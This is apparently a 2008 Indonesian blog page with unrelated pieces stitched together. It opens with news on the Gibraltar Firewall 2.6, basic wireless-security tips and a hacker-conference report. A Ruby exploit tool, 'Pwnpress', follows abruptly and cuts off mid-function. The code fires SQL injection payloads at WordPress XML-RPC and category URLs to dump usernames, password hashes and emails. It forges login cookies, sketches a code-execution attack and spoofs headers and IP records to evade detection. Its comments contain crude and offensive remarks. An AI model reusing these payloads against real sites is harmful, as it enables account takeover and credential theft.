09 November 2008


Gibraltar Firewall 2.6 merupakan Linux Firewall yang didistribusikan kepada kalangan luas, di mana system ini dibangun dengan dasar Debian. Versi terbaru dari Gibraltar 2.6 ini diluncurkan beberapa hari lalu oleh Rene Mayrhofer. Peluncuran produk versi terbaru ini telah menggunakan Linux kernel 2.4, namun untuk pengembangan versi Gibraltar berikutnya diharapkan telah menggunakan Kernel 2.6.

Berbeda dengan versi Gibraltar sebelumnya, edisi kali ini telah mengalami cukup banyak perubahan terutama disisi traffic shaping performance dimana rule/peraturan dari Ip Table telah diset ulang dan traffic class telah mengalami pendefinisian ulang serta versi ini memperbolehkan kita untuk melakukan instalasi plugin dari SSL Explore

Terdapat pula dukungan beberapa layanan dalam versi terbaru ini antara lain Snort versi 2.7.0, NIPS (Network Instrusion Prevention System) dan NIDS (Network Instrusion Detection System). Gibraltar versi terbaru ini mendapat dukungan integrasi secara penuh dari Puresight Enterprice Edition for User-Based Authorization and Reporting. Terdapat pula interface berupa web di mana layanan tersebut diciptakan untuk melakukan konfigurasi Snort sebagai IDS. Terdapat pula penambahan paket spamassassin module for language classification dan paket tersebut dapat dikonfigurasikan melalui interface web.

Saat kita memulai untuk menggunakan Gibraltar 2.6 maka, terdapat layanan WLAN access point secara penuh yang mana fungsionalitas ini telah ditambahkan didalam versi terbaru ini,sehingga pada edisi ke-4 dari peluncurannya maka diharapkan produk terbaru Gibraltar ini telah mendukung secara penuh dari layanan 802.1x. Saat ini Gibraltar telah mendukung Atheros-based card dimana layanan tersebut dapat dikonfigurasikan melalui interface web. Selain itu, madwifi-tool telah terinstal didalamnya dan module kernel dari versi 2.6 ini telah diupdate/diperbaharui dengan vesi 0.9.4

Terdapat pula penambahan berupa tool untuk melakukan scanning terhadap virus untuk HTTP, FTP dan Protokol POP3, dan tool tersebut dapat bekerja sekalipun tanpa menggunakan harddisk. Hal ini dapat terjadi karena telah dilakukan beberapa modifikasi pada bagian config file dan pengembangan dalam melakukan management pada bagian temporary /var pada storage area. Gibraltar Firewall diciptakan untuk memverifikasi dan melindungin traffic pada jaringan, di mana produk ini juga melindungi jaringan internal dari serangan penyusup atau hacker.

Sekilas mengenai Gibraltar :
Dr. Rene Mayrhofer membangun aplikasi Gibraltar pada tahun 1999 sebagai salah satu project pengembangan yang bersifat Open Source. Sejak tahun 2003, Gibraltar dikembangkan oleh eSYS Information System GmbH dan juga Dr. Mayrhofer di Austria.

6 Langkah Pengamanan Dasar Jaringan :

1. Ubahlah Sistem ID (Identitas)
Biasanya suatu layanan nirkabel dilengkapi dengan suatu standart pengamanan identitas atau yang sering disebut SSID (Service Set Identifier) or ESSID (Extended Service Set Identifier). Sangat mudah bagi seorang hacker untuk mencari tahu identitas default dari suatu layanan atau jaringan, jadi sebaiknya Anda segera mengubahnya menjadi suatu identitas yang unik, yang tidak mudah ditebak orang lain.

2. Mematikan identitas pemancar
Dengan mengumumkan kepada umum bahwa Anda memiliki suatu jaringan nirkabel akan membuat para hacker penasaran untuk membobol jaringan nirkabel Anda. Mempunyai suatu jaringan nirkabel bukan berarti harus memberitahukannya kepada semua orang. Periksalah secara manual perangkat keras yang Anda pakai untuk jaringan nirkabel tersebut, dan pelajarilah bagaimana cara mematikannya.

3. Sediakanlah enkripsi
WEP (Wired Equivalent Privacy) and WPA (Wi-Fi Protected Access) dapat meng-enkripsi data Anda sehingga hanya penerima saja yang diharapkan dapat membaca data tersebut. WEP (Wired Equivalent Privacy) mempunyai banyak kelemahan yang membuatnya mudah disusupi. Kunci 128-bit hanya mempunyai tingkat pencapaian yang relatif rendah tanpa peningkatan keamanan yang signifikan, sedangkan untuk 40-bit atau 64-bit pada beberapa perlengkapan lainnya, mempunyai enkripsi yang sama baiknya. Dengan cara pengamanan yang standart saja pastilah tetap akan mudah bagi hacker untuk menyusup, namun dengan cara enkripsi ini pastilah akan membuat jaringan Anda lebih aman dari hacker. Jika memungkinkan, ada baiknya untuk menggunakan enkripsi WPA (peralatan yang lebih tua dapat diupgrade terlebih dahulu agar compatible dengan WPA). WPA dapat sangat menjanjikan dalam menjamin keamanan jaringan nirkabel Anda, namun masih tetap dapat dikalahkan oleh serangan DOS (denial of services).

4. Membatasi dari penggunaan traffic yang tidak perlu
Banyak router jaringan kabel maupun nirkabel yang dilengkapi firewalls. Bukan bermaksud mengedepankan firewalls, namun firewalls telah membantu dalam pertahanan keamanan jaringan. Bacalah petunjuk manual dari perangkat keras Anda dan pelajarilah cara pengaturan konfigurasi router Anda, sehingga hanya traffic yang sudah seijin Anda saja yang dapat dijalankan.

5. Ubahlah 'kata sandi' default Administrator milik Anda
Hal ini baik untuk semua penggunaan perangkat keras maupun perangkat lunak. Kata sandi default sangat mudah disalahgunakan, terutama oleh para hacker. Oleh karena itu sebaiknya ubahlah kata sandi Anda, hindari penggunaan kata dari hal-hal pribadi Anda yang mudah diketahui orang, seperti nama belakang, tanggal lahir, dan sebagainya.

6. Kunci dan lindungilah komputer Anda
Hal ini merupakan cara pengamanan terakhir untuk komputer Anda. Gunakanlah firewall, perangkat lunak Anti Virus, Zone Alarm, dan lain sebagainya. Setidaknya setiap satu minggu perbaharuilah Anti Virus yang Anda pakai.
(dna)

Tipe Serangan Hacker Terbaru


Menurut hasil konferensi hacker Last Hope, menyatakan, dengan menggunakan laptop, headset ponsel, kartu kredit, atau bahkan paspor, dapat membuat user menjadi target pencurian data dan criminal lainnya. Dalam ketakutan namun sesi yang menyenangkan, yang berjudul "How do I Pwn Thee? Let me Count the Ways" (pwn di sini berbicara mengenai kepunyaan atau control), seorang hacker yang memiliki alias “RenderMan” menjelaskan bagaimana user berada dalam resiko keamanan dan mereka tidak mengetahuinya.

Serangan hacker menurut sebagian besar orang mungkin telah mengetahui bahwa mereka harus berhati-hati menggunakan jaringan Wi-Fi, khususnya public hotspot yang tidak mengenkripsi data yang ditransmisikan dan access point jaringan dapat disalahgunakan oleh orang lain. Akibatnya user dapat kehilangan data-data, menerima halaman web yang menipu, dan informasi lainnya, yang menyebabkan computer mereka telah diambil alih.

Ketika penumpang pesawat telah mengabaikan peringatan pramugrari untuk men-disable Wi-Fi atau mereka yang tidak mengetahui bagaimana cara mematikannya, akan mudah terkena penyerangan pihak lain di pesawat. RenderMan menyarankan user agar men-disable Wi-Fi ketika tidak digunakan dan menggunakan VPN, juga software firewall. Headset Bluetooth user juga dapat beresiko terhadap keamanan karena celah keamanan dalam teknologi tersebut dan default PIN yang tidak berubah. Dengan mengeksploitasi kelemahan teknologi tertentu, seseorang dapat masuk dan mencuri data, lalu menyusup dalam conversation, atau bahkan memata-matai user dengan memasukkan bug ke dalamnya. RenderMan menyarankan user untuk mengubah password, men-disable Bluetooth pada telepon, mematikan headset bila tidak digunakan, dan membatasi akses ke data dan fitur ketika berkomunikasi dengan alat Bluetooth lainnya.

Banyak orang tidak menyadari bahwa paspor U.S yang baru mempunyai teknologi RFID (Radio-Frequency Identification) dengan enkripsi yang lemah, yang membuat data pada chip mudah dibaca dengan reader device tertentu. Untuk itu, pemerintah U.S telah memasang metal foil di bagian belakang dan depan paspor, namun foil tersebut masih kaku dan masih lebar sehingga RFID reader masih dapat membacanya. (h_n)



Diskusikan berita ini di Diskusi BeritaNET.com
#!/usr/bin/env ruby
# .---. .---.
# : : o : happy antiblogging, dear kids!
# _..-: 0 : :-.._ /
# .-'' ' `---' `---' " ``-. Copyright (c) Lance M. Havok
# .' " ' " . " . ' " `.
# : '.---.,,.,...,.,.,.,..---. ' ;
# `. " `. .' " .' ----- All rights reserved.
# `. '`. .-/|||||||\-. .' ' .' 2006, 2007.
# `. `-._ \|||/ _.-' " .'
# `. " '"--...--"' . ' .' ...because blogs are useless
# jgs .'`-._' " . " _.-'`. self-promotion and mental
# .' ```--.....--''' ' `: masturbation...
# "The blogosphere end is fucking nigh!"
# -RELEASE LESS, RELEASE BEST-
# == Disclaimer and license
# This code is *NOT* GPL. Commercial usage is strictly forbidden (any activity
# directly or indirectly generating revenue: consulting, distribution in slides,
# mirroring in websites with ad/affiliate programs, advertise your web IDS, etc).
#
# == Pwnpress motivation and features
# Pwnpress implements multiple techniques, bugs and tricks for compromising
# Wordpress-based blogs, combining the exploits in the necessary order for
# retrieving any necessary information to make the exploitation process as
# reliable as possible. Because every time you 'blog', god mutilates the penis
# of a poor 12 year old Vietnamese boy.
#
# Covertness capability is provided, dynamically adapting the payloads and
# operations to lower potential 'noise' on the wire. Fingerprinting deploys few
# methods able to detect all versions of Wordpress in their default installation
# form without tampering of wp-includes/version.php
#
# Tested with Wordpress 2.2, 2.2.2, 2.0.5, 2.0.6, 2.1, (...), PHP/5.2.4 for
# Apache 2.0.58 on Gentoo GNU/Linux. magic_quotes on and off for the different
# exploits.
#
# == A short advice (for those who desperately need a working brain)
# Due to the recent incidents of people ripping some of our work at Blackhat and
# other *pointless* security conferences, we politely ask you to refrain from
# doing such a mean thing. If you can't be creative, find a different hobby.
# "DANGER RABBI ROBINSON: INFOWAR!" Gadi Evron, blogs.securiteam.com (WP 2.0.10)
# Trespassers expect career disruption and public humiliation... :)
#

require 'digest/md5'
require 'net/http'
require 'base64'
require 'irb'
require 'uri'

class Array
# Return random item
def rand_i
return self[rand(self.size)]
end
end

class String
# http://snippets.dzone.com/posts/show/2111
def self.rnd(size = 16)
(1..size).collect { (i = Kernel.rand(62);
i += ((i < 10) ? 48 : ((i < 36) ? 55 : 61 ))).chr }.join
end
end

# Oh jesuschrist, here comes the pie!
class Pwnpress
PWNPRESS_VERSION = "0.2pub"
LATEST_VERSION_SUPPORTED = "2.2.2"
DEFAULT_TABLE_PREFIX = "wp"
KNOWN_REGEXPS = {
:meta_generator => //,
:rss_feed_links =>
[
/title="RSS 2.0" href="(.*)"/,
/title="RSS .92" href="(.*)"/

],
:atom_feed_links =>
[
/title="Atom 0.3" href="(.*)"/
],
:rss2_generator =>
[
/http:\/\/wordpress.org\/?v=(.+?)<\/generator>/,
/generator="(.+?)"/
],
:atom_generator =>
[
/uri="http:\/\/wordpress.org\/" version="(.+?)">Word(P|p)ress/
# This fixes dumb editors with stupid syntax highlighting :)"
]
}

attr_reader :results

# Initialize the instance variables, etc. Perform any required operations
# to set the initial state ready.
def initialize(options)
unless options[:target] != nil
raise "Missing target URL parameter."
end

# Check for missing trailing slash, add if necessary
if options[:target].split(//).last != '/'
options[:target] << '/'
end


@url = URI.parse(options[:target])
@proxy_host = options[:proxy_host]
@proxy_port = options[:proxy_port]
@table_prefix = options[:table_prefix]
@username = options[:username]
@password = options[:password]
@covert_level = options[:covert_level]
@results = {}
@finger_on = options[:fingerprint]

if options[:version] == "auto"
@version = fingerprint_wordpress()
if @version
msg_name = "Found Wordpress version."
msg_desc = %Q{
Target has #{@version} installed. Current last
release (devel) is #{@wp_versions.last}. Known
versions: #{@wp_versions.size} (includes devel).
}

add_results_msg(:wp_version, :success, msg_name, msg_desc)
else
msg_name = "Can't find Wordpress version."
msg_desc = %Q{
Target has an unknown Wordpress version installed.
It might be fake or bogus. Please specify target
version yourself, since fingerprinting failed :(
}

add_results_msg(:wp_version, :failure, msg_name, msg_desc)
end
else
fingerprint_wordpress(true)
@version = options[:version]
end

end

# Attempt to verify wordpress presence and installed version + patch level:
#
# 1. Default installation contains a META generator header.
# 2. Default RSS/ATOM feed generation code also provides version information.
# 3. Default template and most styles include "Powered by" text.
#
#
#
# http://wordpress.org/?v=2.2.2
# proudly powered by WordPress
# WordPress
#
# The above methods can be fooled by simply editing wp-includes/version.php
# Covert level affects what methods might be used, depending on how clumsy
# the activity could be on the wire. Fingerprinting is highly effective in
# most cases but there are still users who decide to fake version strings,
# therefore a method using some heuristics is provided as well. Obviously it
# can be fooled as easily, but helps to identify branch and feature sets.
#
# Methods involving extremely simple "heuristics":
#
# 4. Detect the style and layout of the login interface.
# 5. Detect files that are present only in certain revisions or branches.
# 6. Detect plugins and themes or styles available only for some branches.
#
# This list isn't exhaustive, there are other potentially reliable
# methods (depending on desired attack surface: default installation, custom
# blogs, heavily modified code, etc). Ski ba bop ba dop bop!
#
def fingerprint_wordpress(only_retrieve_body = false)
index_paths = [ "index.php", "?#comments" ]
rss2_paths = [ "?feed=rss2", "?feed=comments-rss2" ]
atom_paths = [ "?feed=atom", "?feed=comments-atom" ]

unless @body
@body = retrieve_content(index_paths.rand_i)
if @body == nil
raise "HTTP GET failed: wrong path or offline?"
end
end

if @body and only_retrieve_body == false and @finger_on
get_valid_versions_array

# Retrieve existing RSS and ATOM feed paths. Note that this will
# only try to match for the target url. If Wordpress has set a
# different base url, then these checks won't use it.
KNOWN_REGEXPS[:rss_feed_links].each do |rp|
tmp_array = @body.scan(rp).flatten
tmp_array.each do |uri|
rss2_paths << uri.gsub(/#{@url.to_s}/,'')
end
end

KNOWN_REGEXPS[:atom_feed_links].each do |rp|
tmp_array = @body.scan(rp).flatten
tmp_array.each do |uri|
atom_paths << uri.gsub(/#{@url.to_s}/,'')
end
end

# Method 1
meta_generator = @body.scan(KNOWN_REGEXPS[:meta_generator]).flatten
if meta_generator
wp_string = meta_generator[0].scan(/(.+?) (.*)/).flatten
if wp_string.size == 2
if wp_string[0] =~ /Word(p|P)ress/i
if wp_string[1]
# Verify version against those known to be valid
if @wp_versions.find { |v| v[0] == wp_string[1] }
return wp_string[1]
end
end
end
end
end

# Note: could refactor these two as a method and save some lines,
# but this is the only existing place where it would be used.
# Method 2: RSS
rss2 = get_meta_value(rss2_paths.rand_i, :rss2_generator)
if rss2 and rss2[:str]
ver = rss2[:str].scan(/(.*)\/(.*)/).flatten
if ver and ver.size == 2
if @wp_versions.find { |v| v[0] == ver[1] }
return ver[1]
end
end
end

# Method 2: ATOM
atom = get_meta_value(atom_paths.rand_i, :atom_generator)
if atom and atom[:str]
if @wp_versions.find { |v| v[0] == atom[:str] }
return atom[:str]
end
end

# Method 4: determine login box layout and/or style. works for
# checking if the version is post 2.2 branch or older (pre 2.2).
# Besides that, this isn't of much help.
if @covert_level < 1
login_body = retrieve_content("wp-login.php")
if login_body =~ //
return "post-2.2"
end
if login_body =~ //
return "pre-2.2"
end
end

# Method 5: branch-persistent files
if @covert_level < 1
# wp-app.php and wp-cron.php are from old 1.5 branch
if retrieve_content("wp-app.php", @url, nil, true).code == "404"
return "likely-2.2"
else
return "likely-1.5"
end
end

# Method 3: final, we return nil since we really cant tell an exact
# version.
if @body =~ /(proudly powered by|Powered by) /
return nil
end
end
end

# A brilliant bug fixed after 2.2(.0) which was exploitable by least
# privileged users (ex. Subscribers) via the XML-RPC interface:
#
# function wp_suggestCategories($args) {
# ...
# $this->escape($args);
# $blog_id = (int) $args[0];
# ...
# $max_results = $args[4]; !! where's mr. (int)?
# ...
# if(!empty($max_results)) {
# $limit = "LIMIT {$max_results}"; !! :>
#
# $category_suggestions = $wpdb->get_results(" !! "I see dead SQL :("
# SELECT cat_ID category_id,
# cat_name category_name
# FROM {$wpdb->categories}
# WHERE cat_name LIKE '{$category}%'
# {$limit} !! kekekekekekeKEKEKE!
# ");
#
# return($category_suggestions);
#
# Fixed in later revisions (ex. 2.2.2). The bug was reported to the Wordpress
# development team by Alex C, with a .NET C# proof of concept.
#
def exploit_220_suggestCategories_xmlrpc
if @username and @password
user_list = {}
xmlrpc_path = get_xmlrpc_path()
xml_payload = "\n" +
"\twp.suggestCategories\n"+
"\t\n" +
"\t\t1\n" +
"\t\t#{@username}\n" +
"\t\t#{@password}\n" +
"\t\t1\n" +
"\t\t" +
"0 UNION ALL SELECT user_login, user_pass FROM " +
"WPR3F1X_users" +
"
\n" +
"\t
\n" +
"
\n"

# Send the query
if xmlrpc_path
get_table_prefix()

res = send_xmlrpc(xml_payload.gsub(/WPR3F1X/, @table_prefix),
xmlrpc_path)
if res =~ /Word(P|p)ress database error/ and @covert_level < 1
# Try to guess prefix again if we had an error
get_table_prefix(:db_error, res)
res = send_xmlrpc(xml_payload.gsub(/WPR3F1X/, @table_prefix),
xmlrpc_path)
end

# No need for a full-blown XML parser. Ruby is *that* nice :>
if res =~ /category_id<\/name>/
regex = /(.+?)<\/name>(.+?)<\/string><\/value><\/member>/
credentials = res.scan(regex)
last_user = nil

credentials.each do |a|
if a[0] == "category_id" and a[1]
user_list[a[1]] = { :passwd_hash => nil }
last_user = a[1]
end
if a[0] == "category_name" and a[1]
user_list[last_user][:passwd_hash] = a[1]
cookie = get_cookie_hash(last_user, a[1])
if cookie and cookie.size == 2
user_list[last_user][:cookie_user] = cookie[0]
user_list[last_user][:cookie_pass] = cookie[1]
end
end
end

add_to_results(:sql_injection_xmlrpc_220, :user_hashes,
user_list)
return true
end

# Did not work :(
return false
end
else
raise "Username and password required for XML-RPC injection in 2.2"
end
end

# Nice pre-authentication bug found by different individuals, one of them my
# appreciated fellow Jesus H. Christ who coded a rather dirty proof of concept
# doing the job just fine, with magic_quotes = Off. This is a cleaner version
# with few extra checks. Like the original Perl version, uses base64 to avoid
# char filtering woes and as a side-effect (bonus!) for mod_security evasion
# :> (thanks to XML-RPC handling, which supports base64 encoded elements).
#
def exploit_222_pingback_xmlrpc
user_list = {}
tags_list = []
xmlrpc_path = get_xmlrpc_path()

get_table_prefix()

# First we need to scan for some tags (categories), this is most likely
# 100% reliable if rewrite rules are enabled and theme is Wordpress
# compliant (or follows the usual scheme).
tags_list = get_existing_tags()
unless tags_list.size > 0
msgs = { :failure => { :response => "Can't find suitable tag." } }
msgs[:failure][:description] = %Q{
\t A suitable permalink-style path is required for the exploit
\t to be successful. Failure to find this parameter indicates
\t that most probably the target is not using URL rewrite rules.
\t The bug does not trigger with "emulated" index.php/ style
\t paths.
}

add_to_results(:sql_injection_xmlrpc_222, :messages, msgs)
return false
end

sql_query = tags_list.rand_i[:link]
sql_query << "#{String.rnd}&post_type=#{String.rnd}\%27)"
sql_query << " UNION SELECT CONCAT(user_pass, \%27 - \%27, user_login,"
sql_query << " \%27 - \%27, user_email), 2,3,4,5,6,7,8,9,10,11,12,13,"
sql_query << "14,15,16,17,18,19,20,21,22,23,24 FROM "
sql_query << "WPR3F1X_users\%2F*"

xml_payload = "\n" +
"\n\t" +
"pingback.extensions.getPingbacks" +
"
\n" +
"\tINJ_SQL_QUERY\n" +
"
\n"

# Send the query
if xmlrpc_path
tmp = sql_query.gsub(/WPR3F1X/, @table_prefix)
tmp = xml_payload.gsub(/INJ_SQL_QUERY/, Base64.encode64(tmp))
res = send_xmlrpc(tmp, xmlrpc_path)

if res =~ /Word(P|p)ress database error/ and @covert_level < 1
# Try to guess prefix again if we had an error
get_table_prefix(:db_error, res)
tmp = sql_query.gsub(/WPR3F1X/, @table_prefix)
tmp = xml_payload.gsub(/INJ_SQL_QUERY/, Base64.encode64(tmp))
res = send_xmlrpc(tmp, xmlrpc_path)
end

wpuser_blob = res.scan(/WHERE post_id IN \((.*?)\)/s).flatten[0]
credentials = wpuser_blob.scan(/([a-z0-9]{32}) \- (.*?) \- ([^,]+)/i)
credentials.each do |a|
password_hash = a[0]
poor_username = a[1]
email_address = a[2]

user_list[poor_username] = {
:email_addr => email_address,
:passwd_hash => password_hash
}

cookie = get_cookie_hash(poor_username, password_hash)
if cookie and cookie.size == 2
user_list[poor_username][:cookie_user] = cookie[0]
user_list[poor_username][:cookie_pass] = cookie[1]
end
end

add_to_results(:sql_injection_xmlrpc_222, :user_hashes, user_list)
return true
end

return false
end

# One of the most sloppy, unreliable and awkward exploits ever released for
# Wordpress. The original exploit from Stefan Esser was mediocre at best.
# No offense meant, it was just a seriously deficient piece of horse shit.
def exploit_205_trackback_utf7
wpuser_list = {}
sql_query = ""
# Left to be implemented someday...
end

# Present in 1.5.1.1, this one allows dead easy SQL injection (ex. via cat
# variable, for category, in the index page right away). The SQL query here
# is loosely based on the original exploit by Alberto Trivero, with extra
# output. Also, we support multiple user dumping by limiting the query per
# id, and iterating randomly if covert level allows it (since we are doing
# a GET request, as clumsy as cmd.exe at packages.gentoo.org :>).
def exploit_1511_catsqlinjection
user_list = {}

sql_query = "#{rand(40)} UNION SELECT NULL,CONCAT(CHAR(58),user_pass,"
sql_query << "CHAR(58),user_email,CHAR(58),user_login,CHAR(58)),2,"
sql_query << "NULL,NULL FROM WPR3F1X_users WHERE id = TUSER/*"


get_table_prefix()

if @covert_level > 1
iterations = 1
else
iterations = rand(20)+1
end

user_id = 1
iterations.times do
tmp = sql_query.gsub(/TUSER/, user_id.to_s)
tmp = URI.encode(tmp.gsub(/WPR3F1X/, @table_prefix))

res = retrieve_content("?cat=#{tmp}")
if res =~ /Word(P|p)ress database error/ and @covert_level < 1
get_table_prefix(:db_error, res)
tmp = sql_query.gsub(/TUSER/, user_id.to_s)
tmp = URI.encode(tmp.gsub(/WPR3F1X/, @table_prefix))
res = retrieve_content("?cat=#{tmp}")
end

if res
val = res.scan(/:([a-z0-9]{32}):(.*?):(.*?): category/).flatten
if val.size == 3
user_list[val[2]] = {
:email_addr => val[1],
:passwd_hash => val[0]
}

cookie = get_cookie_hash(val[2], val[0])
if cookie and cookie.size == 2
user_list[val[2]][:cookie_user] = cookie[0]
user_list[val[2]][:cookie_pass] = cookie[1]
end
end
end

user_id += 1
end

if user_list.size > 0
add_to_results(:sql_injection_cat_1513, :user_hashes, user_list)
return true
else
return false
end
end

# A code execution flaw in 1.5.1.3 when register_globals is enabled. Allows
# simple exploitation via variables overwrite. The technique is based on
# the original exploit by Kartoffelguru, using a base64 encoded command.
def exploit_1513_codeexec
cookie_template = "wp_filter[query_vars][0][0][function]=get_lastpostdate;"
cookie_template << "wp_filter[query_vars][0][0][accepted_args]=0;"
cookie_template << "wp_filter[query_vars][0][1][function]=base64_decode;"
cookie_template << "wp_filter[query_vars][0][1][accepted_args]=1;"
cookie_template << "cache_lastpostmodified[server]=//e;"
cookie_template << "cache_lastpostdate[server]=BASE64CMD;"
cookie_template << "wp_filter[query_vars][1][0][function]=parse_str;"
cookie_template << "wp_filter[query_vars][1][0][accepted_args]=1;"
cookie_template << "wp_filter[query_vars][2][0][function]=get_lastpostmodified;"
cookie_template << "wp_filter[query_vars][2][0][accepted_args]=0;"
cookie_template << "wp_filter[query_vars][3][0][function]=preg_replace;"
cookie_template << "wp_filter[query_vars][3][0][accepted_args]=3;"

# $code = base64_encode($cmd);
# $cnv = "";
# for ($i=0;$i # $cnv.= "chr(".ord($code[$i]).").";
# }
# $cnv.="chr(32)";
# $str = base64_encode('args[0]=eval(base64_decode('.$cnv.')).die()&args[1]=x');

#cmd = Base64.encode64(cmd).scan(/.{1,600}/o).to_s
#tmp = cookie_template.gsub(/BASE64CMD/, cmd)
# TODO :)
end

# Determine what exploits could work against the target version. Chain them
# inside an array and then sequentially execute the methods. These are
# ordered depending on the reliability, and used according to the desired
# covert level.
def exploit
@ammunition = []

case @version
when "1.5.1.1"
# pre-auth
@ammunition << exploit_1511_catsqlinjection
when "1.5.1.3"
# pre-auth, classic code exec right away.
@ammunition << exploit_1513_codeexec
when "2.0.5"
# pre-auth. esser's exploit was really weak for this one :)
@ammunition << exploit_205_trackback_utf7
when "2.1.3"
when "2.2"
# combo :> (pre-auth + post-auth, pick twice)
@ammunition << exploit_220_suggestCategories_xmlrpc
@ammunition << exploit_222_pingback_xmlrpc
when "2.2.2"
# pre-auth
@ammunition << exploit_222_pingback_xmlrpc
else
return false
end

# What would Jesus do?
@ammunition.each do |headshot|
headshot
end
end

# Retrieve the site hash using a HEAD request, taking username and password
# hash for filling a valid cookie which can be used to operate the target
# account without requiring the password. This can be set in Firefox by
# editing the cookies.txt file or using the proper extension providing cookie
# editing functionality. Uses random headers.
def get_cookie_hash(username, phash)
login_path = @url.path + "wp-login.php?action=logout"
phash = Digest::MD5.new().hexdigest(phash)
cookie = "wordpressuser_CHH=#{username};wordpresspass_CHH=#{phash}"

unless @site_cookie_hash
res = Net::HTTP::Proxy(@proxy_host, @proxy_port).start(@url.host,
@url.port) { |http|
res = http.head(login_path, self.random_headers)
if res and res["set-cookie"]
c = res["set-cookie"].scan(/wordpressuser_(.+?)=/).flatten[0]
if c.length == 32
@site_cookie_hash = c
else
return nil
end
end
}
end

cookie.gsub!(/CHH/, @site_cookie_hash)
return cookie = cookie.split(/;/)
end

# Retrieve categories (tags) from the Wordpress content. This is used by
# those SQL injection exploits that rely on valid permalinks or other types
# of "standard" blog elements referring to internal content.
def get_existing_tags()
tag_list = []

arr = @body.scan(/
/)
if arr and arr.size > 0
i = 0
arr.each do |link, tag|
if tag and link
# link could be null, not an issue
tag_list[i] = { :tag => tag, :link => link }
i += 1
end
end
end

return tag_list
end


# Attempt to guess the table prefix. If no known methods / information
# disclosure bugs worked, use the default setting (wp or wp_svn for devel
# builds).
#
# For now, methods available:
# a) :db_error = scan input string for SQl error leaking wordpress prefix
# b) :db_error + 2.2.{1,0} edit-comments.php apage parameter bug
# requires enough privileges, leads to a SQL error with negative value
# at apage parameter, leaking the wordpress tables pefix:
# WordPress database error: ... SELECT SQL_CALC_FOUND_ROWS * FROM
# wp_comments WHERE comment_approved = '0' OR comment_approved = '1'
# ORDER BY comment_date DESC LIMIT -40, 25
#
def get_table_prefix(method = nil, str = nil)
if method and str
case method
when :db_error
regex = /FROM (.+?)_(categories|users|posts|links|comments)/
new_prefix = str.scan(regex).flatten
if new_prefix.size == 1
@table_prefix = new_prefix[0]
end
when :edit_coms_221
# Not implemented since it requires edit privileges.
# db_error method suffices almost always.
else
@table_prefix = DEFAULT_TABLE_PREFIX
end
else
# Nothing worked, let's just guess it's default
@table_prefix = DEFAULT_TABLE_PREFIX
end
end

# Attempt to guess the correct xmlrpc.php path relative to base directory.
# Most rewrite rules never bother changing this, therefore it shouldn't be
# necessary to mess with this method. Add new checks if necessary.
def get_xmlrpc_path()
unless @xmlrpc_location
meta_regexp = //
pingback = @body.scan(meta_regexp).flatten
if pingback.size == 2
meta_url = URI.parse(pingback[0])

# Verify URL belongs to target host. Disable this if necessary.
if meta_url.host == @url.host
@xmlrpc_location = pingback[1]
end
else
if remote_file_exists(@url.path + "xmlrpc.php")
@xmlrpc_location = "xmlrpc.php"
else
# Nothing worked so far, out of luck.
return nil
end
end
end

return @xmlrpc_location
end

#
# Helpers and other utilities.
#

# Get the meta value of content found at path, using specified regexp
# from the KNOWN_REGEXPS constant (by default)
def get_meta_value(path, regexp, kregexp = KNOWN_REGEXPS)
result = nil

txt = retrieve_content(path)
if txt
kregexp[regexp].each do |rp|
mvalue = txt.scan(rp).flatten[0]
if mvalue
result = { :str => mvalue, :buf => txt }
end
end
end

return result
end

# Add data to the results variable, available for read access to check
# for information retrieved from successful exploitation.
def add_to_results(bug, data_type, array)
@results[bug] = { :data_type => data_type, :data => array}
end

# Add a message of given importance and desired information to the results
# hash.
def add_results_msg(owner, level, name, value)
new_message = { level => { :response => name } }
new_message[level][:description] = value
add_to_results(owner, :messages, new_message)
end

# :nodoc: "Better than Nikto GET storm!" - a CISSP realizing HEAD exists.
# Uses a HEAD request to check existence of a remote file. Uses random
# headers.
def remote_file_exists(path)
does_exist = nil

res = Net::HTTP::Proxy(@proxy_host, @proxy_port).start(@url.host,
@url.port) { |http|
res = http.head(path, self.random_headers)
case res
when Net::HTTPSuccess, Net::HTTPRedirection
does_exist = true
else
does_exist = false
end
}

return does_exist
end

# Return a random User-Agent string from an array of the most popular ones :-)
# (updated, August 2007). Do not add unusual/uncommon agents that stand out.
def self.random_agent
available_useragents = [
"Googlebot/2.1 ( http://www.google.com/bot.html)",
"msnbot/1.0 (+http://search.msn.com/msnbot.htm)",
"Mozilla/5.0 (X11; U; Linux x86; en-US; rv:1.8.1.6) Gecko/20061201 Firefox/2.0.0.6 (Ubuntu-feisty)",
"Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6",
"Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0)",
"Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)",
"Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)",
"Mozilla/5.0 (Windows; U; Windows NT 6.0; en) AppleWebKit/522.15.5 (KHTML, like Gecko) Version/3.0.3 Safari/522.15.5",
"Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/522.11.1 (KHTML, like Gecko) Version/3.0.3 Safari/522.12.1",
"Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/523.2+ (KHTML, like Gecko) Version/3.0.3 Safari/522.12.1",
"Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.7.5) Gecko/20070321 Netscape/8.1.3",
"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20070321 Netscape/9.0",
"Opera/9.23 (Windows NT 5.0; U; en)"
]

return available_useragents.rand_i
end

# Random IP address generator, this is used for generation of PC_REMOTE_ADDR
# headers, since we want to leave a fake REMOTE_ADDR in the database record:
# From Wordpress 2.2.2, wp-includes/vars.php (line 39):
#
# if ( isset($_SERVER['HTTP_PC_REMOTE_ADDR']) )
# $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_PC_REMOTE_ADDR'];
#
# Optional argument determines the first block to use (ex. 17 = Apple :>)
def self.random_ip(first_block = rand(254))
return "#{first_block}.#{rand(254)}.#{rand(254)}.#{rand(254)}"
end

# Simply scans the body content for
elements and returns an array of
# links. Useful for Referer spoofing, disguising as a normal visitor.
def get_site_pages
if @body
return @body.scan(/
else
return nil
end
end

# Return a hash of HTTP headers generated randomly. The goal is generating
# non-homogeneous requests that contain static patterns.
def random_headers
rndheader = {}
languages = [ "de-DE,en;q=0.5", "en-us,en;q=0.5", "en", "zh, en-us; q=0.6" ]
rel_pages = get_site_pages()

rndheader["User-Agent"] = Pwnpress.random_agent
rndheader["Accept-Language"] = languages.rand_i
if rel_pages
